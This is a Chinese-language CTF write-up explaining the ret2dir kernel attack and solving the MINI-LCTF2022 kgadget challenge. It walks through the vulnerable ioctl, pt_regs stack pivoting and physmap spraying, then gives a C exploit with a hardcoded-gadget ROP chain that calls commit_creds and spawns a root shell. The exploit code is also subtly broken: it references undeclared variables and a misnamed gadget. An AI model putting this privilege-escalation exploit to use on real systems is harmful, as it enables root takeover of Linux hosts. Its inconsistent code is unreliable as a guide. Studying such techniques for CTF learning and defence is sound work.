简介

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年 USENIX 发表的论文提出的一种攻击手法,主要是用来绕过 smep、smap 等保护。

在 smep 和 smap 保护没有出现以前,常用的内核利用手法是 ret2usr,其核心在于在修复指针使其指向用户空间,并在用户空间布置 payload。但是 smep 和 smap 出现之后,内核态无法访问或执行用户态的代码或者数据,导致了该方法的失效。而 ret2dir 正是针对 smep 和 smap 保护都开启的情况下,让内核态仍然能够隐式访问用户态的数据。

作者找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory(物理地址直接映射区),其中 “存储” 着物理内存的完整线性映射,简单说就是所有物理内存页在内核虚拟地址空间中的影子。

image-20230706114017524

这块区域的存在意味着:对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址与内核空间地址到该物理页框的映射,即我们利用这两个地址进行内存访问时访问的是同一个物理页框。这段区域也被称为 phsymap,它是一段大的,连续的虚拟内存区域。

下图便是论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的代码可以通过 phsymap 上的地址在内核空间中访问到:

image.png

需要注意的是在新版的内核(Linux 5.19)当中 phsymap 已经不再具有可执行权限,因此我们无法再通过在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用:

image.png

常用的一种使用 ret2dir 进行攻击的手法:

  • 利用 mmap 在用户空间大量喷射内存。
  • 利用漏洞泄露出内核的堆地址,这个地址直接来自于线性映射区。
  • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存。

但是我们一般没有内存搜索的机会,因此需要实验 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray。

例题 MINI-LCTF2022 kgadget

题目分析

  • 分析LKM
image-20260511170317941

对照汇编来看便于理解。ioctl 函数传入了三个参数filecmdparam。如果cmd参数为 114514 则会将第三个参数作为制作进行解引用,取其所指地址上值作为函数指针执行。将param参数movrbx后,通过call进行调用。

image-20260511170900443
  • 分析启动脚本
#!/bin/sh

qemu-system-x86_64 \
	-m 256M \
	-cpu kvm64,+smep,+smap \
	-smp cores=2,threads=2 \
	-kernel bzImage \
	-initrd ./rootfs.cpio \
	-nographic \
	-monitor /dev/null \
	-snapshot \
	-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
	-no-reboot 

启动脚本中开启了 smep 和 smap,但是并没有开 kaslr,所以我们并不需要泄露内核基址。

利用思路

我们实际传入的地址解引用后存放到rbx寄存器,结果通过将rbx寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret指令,使得执行被解引用的值。

我们需要在用户空间布置我们的 payload,然后通过内核空间去访问它。使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个相对靠近高地址的 physmap 上的地址进行利用,这样我们就有很大的概率命中到布置的 payload 上。

搜索 gadget 构造 rop 链:

ROPgadget --binary ./vmlinux > gadgets.txt    

本题目录中的pt_regs只有 r8 和 r9 两个寄存器可用,因为pt_regs被以下代码提前进行了清理:

qmemcpy(((&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168), "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3", 48);
    *((&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;

我们可以通过pop_rsp ; ret进行栈迁移,将栈迁移到我们在用户空间所布置的 payload 上,随后我们直接在 payload 靠后的位置布置提权降落回用户态的 rop 链即可。

pt_regs结构体

利用前提条件:可以控制内核执行流(劫持至少一个指针),(可选)已经泄露内核基址

在用户态下,我们经常使用系统调用触发中断,以切换到内核态来执行函数,例如通过x86-64中的syscall来触发中断。

我们知道 64 位下前 6 个参数都位于寄存器中,而系统调用的值实际上也需要进行寻址,那么如何对寄存器寻址呢?实际上,这是因为当程序进入到内核态的时候,操作系统会将所有的寄存器压入到内核栈上,形成一个pt_regs结构体。而该结构体实际上位于内核栈底,定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在内核栈上的结构如下:

img

学习了pt_regs结构体,不难想象,我们可以借助pt_regs中的值来进行某些操作,例如栈迁移等。

因此,在进行系统调用时,我们可以利用如下板子,如此可以找到内核栈上的pt_regs结构体:

__asm__(
    "mov r15,   0xbeefdead;"
    "mov r14,   0x11111111;"
    "mov r13,   0x22222222;"
    "mov r12,   0x33333333;"
    "mov rbp,   0x44444444;"
    "mov rbx,   0x55555555;"
    "mov r11,   0x66666666;"
    "mov r10,   0x77777777;"
    "mov r9,    0x88888888;"
    "mov r8,    0x99999999;"
    "xor rax,   rax;"
    "mov rcx,   0xaaaaaaaa;"
    "mov rdx,   8;"
    "mov rsi,   rsp;"
    "mov rdi,   seq_fd;"        // 这里假定通过 seq_operations->stat 来触发
    "syscall"
);

通过这个pt_regs结构体,只需要找到形如add rsp, val; retgadget即可完成ROP,非常实用。

内核主线在 5.12 内核中提交了一个 commit,其中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值。当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了, 可以说这种利用方式基本上是废了。

  • exp
//gcc exp.c -static -masm=intel -g -o exp
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

size_t  prepare_kernel_cred = 0xffffffff810c9540;
size_t  commit_creds = 0xffffffff810c92e0;
size_t  init_cred = 0xffffffff82a6b700;
size_t  pop_rdi_ret = 0xffffffff8108c6f0;
size_t  pop_rax_ret = 0xffffffff810115d4;
size_t  pop_rsp_ret = 0xffffffff811483d0;
size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t  add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
size_t  add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
size_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t  ret = 0xffffffff810049d4;

void    (*kgadget_ptr)(void);
size_t  *physmap_spray_arr[16000];
size_t  page_size;
size_t  try_hit;
int     dev_fd;

size_t user_cs, user_ss, user_rflags, user_sp;

void save_regs() {
    asm volatile(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf; pop user_rflags;"
    );
}

void shell() {
    if (!getuid()) {
        puts("[+] Root shell");
        system("/bin/sh");
    }
    exit(0);
}

void build_rop(size_t *rop) {
    int i = 0;
    int entries = page_size / 8;

    for (; i < entries - 0x20; i++)
        rop[i] = ret;
    
    rop[i++] = pop_rdi_ret;
    rop[i++] = init_cred;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore;
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
}

int main(int argc, char **argv, char **envp)
{
    save_regs();

    dev_fd = open("/dev/kgadget", O_RDWR);

    page_size = sysconf(_SC_PAGESIZE); //获取页大小

    // construct per-page rop chain
    rop_pages[0] = mmap(NULL, page_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    build_rop(rop_pages[0]);

    // 喷射物理内存页
    for (int i = 1; i < 15000; i++) {
        rop_pages[i] = mmap(NULL, page_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        memcpy(rop_pages[i], rop_pages[0], page_size);
    }

    target_addr = 0xffff888000000000 + 0x7000000;
    __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    pop_rsp_ret;"   // stack migration again
        "mov r8,    target_addr;"
        "mov rax,   0x10;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   try_hit;"
        "mov rsi,   0x1bf52;"
        "mov rdi,   dev_fd;"
        "syscall"
    );
}

参考

kernel-pwn之ret2dir利用技巧 - 蚁景网安实验室 - 博客园